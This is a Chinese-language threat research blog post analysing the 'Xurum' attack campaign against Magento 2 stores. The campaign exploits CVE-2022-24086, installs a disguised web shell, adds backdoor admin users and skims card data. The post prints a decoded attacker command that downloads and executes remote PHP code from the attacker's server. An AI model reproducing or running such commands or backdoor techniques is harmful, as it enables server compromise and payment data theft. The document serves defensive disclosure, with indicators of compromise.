了解我们在中国开展业务的承诺。 阅读全文

Xurum:新型 Magento 攻击活动

从 2015 年以来,至少已经有七个威胁团伙对 Magento 上的店铺发起过攻击,这充分说明了该平台的重要性,以及攻击者通过此类漏洞利用取得的成效。

研究人员:Ron Mankivsky、Dennis German、Chen Doytshman、Maxim Zavodchik

合著者:Tricia Howard

执行摘要

  • Akamai 研究人员发现了一起持续利用数字电商网站发起攻击的服务器端模板注入 (CVE-2022-24086) 活动。该攻击活动以 Magento 2 上的店铺为目标,根据攻击者使用的命令与控制 (C2) 服务器的域名,我们将其称为“Xurum”。 

  • 早在 2023 年 1 月,我们就观察到了该攻击的活动。攻击者似乎对 Magento 上受害店铺的订单很感兴趣,希望获取过去 10 天内订单的付款统计数据。 

  • 攻击者注册了一个新的 Magento 组件,并将其标记为“GoogleShoppingAds”。

  • 攻击者使用名为“wso-ng”的高级 Web shell,这个 shell 只有在攻击者向后门组件“GoogleShoppingAds”发送 Cookie“magemojo000”时才会激活。 

  • 该 Web shell 的登录页面被伪装成一个错误页面,内含的隐藏登录表单会尝试收集受害者的登录凭据。

  • 攻击者在 Magento 中创建了一个名为“mageplaza”或“mageworx”的后门管理员用户,这是他们的又一项骗术,因为这两个名称恰好是 Magento 备受欢迎的两个附加服务平台的名称。

  • 攻击者使用更早的 Dirty COW 利用漏洞 (CVE-2016-5195),试图通过该漏洞在 Linux 内升级权限。 

  • 有证据表明,这一威胁来自俄罗斯。 

  • 观察发现,部分受此攻击活动影响的网站感染了基于 JavaScript 的简单数据窃取器,而该活动并未尝试混淆或隐藏其存在。

简介

数字电商是一个备受犯罪分子关注的行业 ,Magento 也不能幸免,该平台日益广泛的应用使得它成为一个极具吸引力且有利可图的攻击目标。在这其中,值得一提的是 Magecart,攻击者通过部署基于 JavaScript 的数据窃取器来非法获取敏感用户信息。这些 Magecart 攻击者 利用众所周知的 Web 漏洞达成信息收集目的。

从 2015 年以来,至少已经有七个威胁团伙对 Magento 上的店铺发起过攻击,这充分说明了该平台的重要性,以及攻击者通过此类漏洞利用取得的成效。

2022 年初,随着 CVE-2022-24086 漏洞公开,攻击者开始利用 Magento 模板引擎并在可疑目标上执行任意 PHP 代码。整个利用过程分多个步骤执行,涉及一些常见攻击媒介, 包括滥用结账流程或愿望清单功能。在被披露后,该漏洞已经成为一个主要入口点,众多 Magecart 攻击者 借此向 Magento 2 上易受攻击的店铺发起攻击。

在过去几个月,Akamai 一直在密切监控一起有针对性的攻击活动,该活动主要是针对 Magento 上部署规模相对较小的店铺。我们将该活动称为“Xurum”,引用了攻击者所用 C2 服务器的域名。

利用 CVE-2022-24086 进行初步访问

在这起持续的攻击活动中,我们观察到攻击者试图从总共四个 IP 地址(图 1)执行两个不同的有效负载。这些 IP 地址都与下面两家托管提供商的基础架构相关联:一家是德国的 Hetzner 公司,另一家是美国的 Shock Hosting 公司。

IP 地址 图 1:经观察发现与 Xurum 相关的 IP 地址

其中,第一个变体执行的是“file_get_contents”PHP 函数,目的是向攻击者的 C2 服务器 xurum.com 发送请求,确定该服务器是否容易遭受 CVE-2022-24086 入侵(图 2),同时将 Base64 blob 对象解码到 https://xurum.com/mo

测试脚本 图 2:CVE-2022-24086 漏洞的测试脚本

第二个变体是第二阶段使用的有效负载,在此阶段,攻击者会下载并执行恶意 PHP 代码。该变体同样托管在 xurum.com 服务器上。 为了逃避检测,攻击者在利用阶段会下载并执行远程恶意 PHP 代码,他们会使用 Base64 编码进行混淆,然后通过执行“shell_exec”PHP 函数来达成漏洞利用目的 (图 3)。经过混淆的部分会被解码到 php -r "`wget -qO- https://xurum.com/b.txt`;"。

使用 Base64 编码隐匿的 PHP 代码,通过 PHP 函数“shell_exec”来执行 图 3:为逃避检测而使用 Base64 编码的 Xurum 有效负载

Xurum.com 投放区

在对 xurum.com 服务器进行调查后,结果表明该服务器实际上位于荷兰(图 4),由一家名为 VDSina.ru 的俄罗斯托管公司托管(图 5)。

xurum.com 服务器实际位于荷兰 图 4:xurum.com 服务器 IP 信息
名为 VDSina.ru 的俄罗斯托管公司 图 5:xurum.com 由托管公司 VDSina.ru 托管

在我们开展调查时,多家知名威胁评分网站尚未将该域识别为恶意域(图 6)。这种表面上的合法性无端增强了用户对该域的信任,也使得攻击者的暗箱操作有机可乘。

显示 xurum.com 是非恶意域 图 6:VirusTotal 输出显示 xurum.com 是非恶意域

“xurum”的含义是什么?

考虑到此攻击有数次迭代,我们选择将其称为为“xurum”,以便将它与其他攻击活动区分开来。

通常,攻击者会为他们的域或恶意软件使用不同的命名约定,这有意无意地成为了他们的独特签名。在对“xurum”的可能含义进行调查后,我们给出了两种可能的解释。

根据 Google 翻译返回的结果,xurum 被定义为拉丁语中的“right”(正确),意为“做正确之事”(图 7)。而 WordSense 词典则给出了不同的解释,它指出 xurum 是危地马拉一种已经消失的语言中的“boy”一词,意为“男孩”(图 8)。

根据 Google 翻译返回的结果,xurum 被定义为拉丁语中的“right”(正确),意为“做正确之事” 图 7:Google 翻译将“xurum”识别为拉丁语词
对“xurum”的翻译 图 8:WordSense 将“xurum”翻译成 Sinacantán,意为“男孩”

请注意,截至我们撰写本博文,攻击者已经关闭了他们的 xurum 服务器,并转移到另一个似乎仍处于 QA 阶段的服务器。

窃取订单信息并给 Magento 开设后门

在攻击者从 xurum 服务器下载并执行恶意 PHP 脚本后,该脚本在受害者机器上主要具有以下几个入侵阶段。

首先,它会收集有关受害者的技术信息,例如:

  • PHP 版本

  • 该漏洞利用攻击是否侵入“/pub”目录(Magento 上的常用目录结构)

  • /var/www/html/vendor/magento/google-shopping-ads/registration.php”文件是否存在,以及是否可以在其中写入内容 

  • env.php”文件的内容,该文件中包含有关 Magento 应用程序的重要信息(如环境相关设置),以及一些机密信息,比如用于保护敏感数据(如密码、信用卡详细信息以及客户信息等)的加密密钥

然后,它会将 Base64 编码混淆的 blob 对象解码并写入到“/var/www/html/vendor/magento/google-shopping-ads/registration.php”文件中(图 9)。

将隐秘复杂的 Base64 blob 对象解码,并写入到“/var/www/html/vendor/magento/google-shopping-ads/registration.php”文件中 图 9:隐含 Web shell 链接的复杂 blob 对象被写入到“registration.php”文件中

新文件中包含一些“耐人寻味”的内容。它并没有保留自身 Web shell 的副本,并将其托管在他们的 C2 服务器上,而是指向一个由名为“Bad Advertiser”或“@0xbadad”的公共 GitHub 存储库,其所有者是一位安全研究人员。就在这个存储库内,有一个名为“wso-ng”的已知 Web shell。但更有意思的是,这个 Web shell 并没有写入到该服务器的磁盘中。令人诧异的是,只要有用户访问新创建的页面“registration.php”,该 shell 就会被提取并在用户机器的内存中执行。 为进一步防止未经授权的访问,攻击者还需要在请求中加入“magemojo000”这个特定 Cookie,才能使该 Web shell 成功执行

之后,攻击者将此新 Web shell 功能注册为 Magento 上的一个新组件,并将其标记为“GoogleShoppingAds”(图 10)。

攻击者将此新 Web shell 功能注册为 Magento 上的一个新组件 图 10:wso-ng Web shell 被伪装成 GoogleShoppingAds 组件

通过安装后门,攻击者随后可以检索其攻击目标在过去 10 天内的销售订单支付方式信息,并将这些数据连同之前收集的技术信息一起泄露到其 xurum.com 投放区(图 11)。

 收集一段时间内的信息 图 11:收集过去 10 天的订单信息

在最后一步中,攻击者创建了一个名为“mageworx”(在某些变体中使用“mageplaza”)的后门管理员用户。这两个名称对应于 Magento 2 的两个广受欢迎的附加服务平台 Mageworx 和 Mageplaza(图 12)。他们选择这些名称无非是试图掩饰自身行为,将它们伪装成与这些声誉卓著的附加服务提供商相关的合法行为。

请注意,这个后门用户电子邮件地址中有一个有趣的细微差别。该电子邮件地址 developer@mageplazza.com中的“mageplazza”含有两个“z”,而 mageplaza.com 的合法店铺域名中只有一个“z”。这似乎只是攻击者的无心之失,但类似的拼写错误也出现在了另一个后门用户电子邮件地址 support@magaworx.com 中。在此名称中,正规店铺名称 Mageworx 中的“e”被偷换成了“a”。

 名称对应于 Magento 2 的两个广受欢迎的附加服务平台 Mageworx 和 Mageplaza 图 12:攻击者创建后门管理员用户 mageworx/mageplaza

生成新的 Web shell:wso-ng

Web shell 是指带有恶意的脚本或代码片段,攻击者将它们上传到 Web 服务器上,通过执行这些脚本或代码来获取未授权的访问权限,从而达到永久控制服务器及其基本文件和数据的目的。

在此攻击活动中,攻击者利用名为“wso-ng”的高级 Web shell。前面已经提过,这个 Web shell 由一位安全研究人员在几年前创建。这位创建者曾指出,wso-ng 是著名老牌 WSO(即“Web Shell by Orb”)的新一代版本。 

这个 wso-ng 不但具有其他 Web shell 中常见的功能,比如系统信息收集以及文件和 SQL 管理等,还有一些其他非常重要的功能,因而备受瞩目(图 13)。

wso-ng Web shell 图 13:wso-ng Web shell 概况

新功能

其中一个新功能是隐藏的登录页面。当用户访问该页面时,会收到 HTTP 404“未找到”状态代码,好像这是一个根本不存在的页面。乍一看,页面上似乎没有任何可见内容(图 14)。然而,如果查看该页面的源代码,就会发现一个隐藏的登录表单。

攻击者使用了一个简单的 CSS 技巧,将该表单向左移动 1,000 个像素,使其有效地远离用户目之所及的区域,从而巧妙地将表单隐藏起来。这个隐藏的登录表单专门等着用户输入自己的密码。

 Wso-ng 登录页面 图 14:wso-ng 登录页面显示为空白,但内含隐藏功能

此外,wso-ng 还集成了 VirusTotal,可以自动检查所感染的机器的 IP 声誉。不仅如此,它还能够无缝查询 SecurityTrails(由声誉卓著的威胁情报公司 Recorded Future 提供的一项服务)以及 IPinfo,从而获取托管在同一台服务器上的其他域的信息。

该 Web shell 还具有攻击能力,能够尝试逃避托管公司的 PHP 沙盒。它可以使用不同技术(包括 fastCGI 和 php add-filter 利用)来成功绕过被禁用的 PHP 功能。除此之外,它还提供了自动建议功能,可以在托管该 Web shell 的特定 Linux 版本上实施本地权限升级漏洞利用。

我们会在后续的博文中更详细地分析该 Web shell。

使用老式 Dirty COW 升级权限

攻击者在 xurum.com 服务器上施展了百般手段,我们在其中还发现了一个有趣的工具:早前的一个名为“Dirty COW”的 CVE-2016-5195 漏洞。攻击者公开利用该漏洞来升级在 Linux 系统中的本地权限(图 15)。

 滥用 Dirty COW 升级 Linux 权限 图 15:滥用 Dirty COW 升级 Linux 权限的屏幕截图

Web 数据窃取器感染

我们的 Web Application Firewall (WAF) 客户大多都有效抵御了此攻击活动,因此我们没能直接观察到攻击者采取的进一步行动。但在调查过程中,我们留意到一些与该攻击活动间接相关的网站名称,这些名称显示在漏洞利用请求的源站/参考 HTTP 标头中。

这些网站中至少有一个已经感染了简单的 Web 数据窃取器。该数据窃取器安装在网站主页上,没有应用任何混淆技术。它会收集用户的信用卡信息,并将信息提取到托管在“smileface.site”上的投放区(图 16)。

安装的 Web 数据窃取器的屏幕截图 图 16:我们调查的一个网站上安装的 Web 数据窃取器

用户试图访问时,该网站的响应只有一条无情的消息:“滚出去!”(图 17)。

该网站的响应只有一条无情的消息:“滚出去!” 图 17:收到访问请求时 smileface.site 的回应

IP 信息表明该服务器位于莫斯科,由一家俄罗斯托管公司“reg.ru”托管(图 18)。

IP 信息表明该服务器位于莫斯科,由一家俄罗斯托管公司“reg.ru”托管 图 18:smileface.site 由托管公司 reg.ru 托管

总结

对这起攻击活动的调查表明,该活动的时间最早可以追溯到 2023 年 1 月底。攻击者并不是漫无目的在互联网上散布漏洞利用,而是在精心策划后对特定 Magento 2 实例发起了攻击。他们展现出了有关 Magento 的高水平专业知识,并投入了大量时间来了解其内部运作机制,建立了攻击基础架构,还在真实目标上测试了他们的漏洞利用。

该攻击活动充分说明了许多以前的漏洞在披露多年后仍然会被利用,究其根本,是因为企业在采取修补和安全保护措施方面力有不逮。

安全建议

为了从一开始就防止攻击者访问服务器,我们建议安全从业人员密切关注最新发布的补丁程序,并且实施 Akamai App & API Protector等 WAF,对现有安全机制加以补充。

对于这些 Magecart 攻击者 而言,他们的主要目标是使用 Web 数据窃取器来入侵 Magento 页面以及窃取客户的信用卡信息。所以,我们强烈建议企业采用额外的专业安全解决方案。这些解决方案应该能够监测浏览器脚本行为,并在发生客户端攻击时帮助企业抵御攻击。

为了防范攻击,一种有效的方法是将安全措施部署在更靠近客户端攻击实际发生的位置。这其中还包括识别尝试从敏感输入字段读取内容的行为以及数据泄露情况。我们建议您使用可靠的安全产品(例如 Akamai Page Integrity Manager),借助它们来及时收集这些事件,从而快速、高效地抵御攻击。

关注最新动态

我们的客户近期遇到了一些 Magento CVE-2022-24086 漏洞利用企图。在分析这些企图的过程中,我们又发现了其他攻击活动,目前正在就其开展调查。我们会继续开展更深入的调查,并与安全领域的同行分享我们的发现。如需了解更多最新安全研究, 请关注我们的微信公众号

IOC

以下威胁指标 (IOC) 旨在帮助安全领域的同行检测本博文中介绍的恶意活动。

类型

104.36.229.168

攻击 IP

95.216.95.178

攻击 IP

95.216.94.99

攻击 IP

65.21.85.21

攻击 IP

xurum.com

恶意软件托管域

/var/www/html/vendor/magento/google-shopping-ads/registration.php

文件名

mageworx

Magento 用户

mageplaza

Magento 用户

developer@mageplazza.com

电子邮件地址

support@magaworx.com

电子邮件地址